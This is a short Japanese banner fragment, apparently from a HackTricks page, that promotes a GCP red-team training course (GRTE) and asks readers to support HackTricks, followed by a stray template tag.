GCPハッキングを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}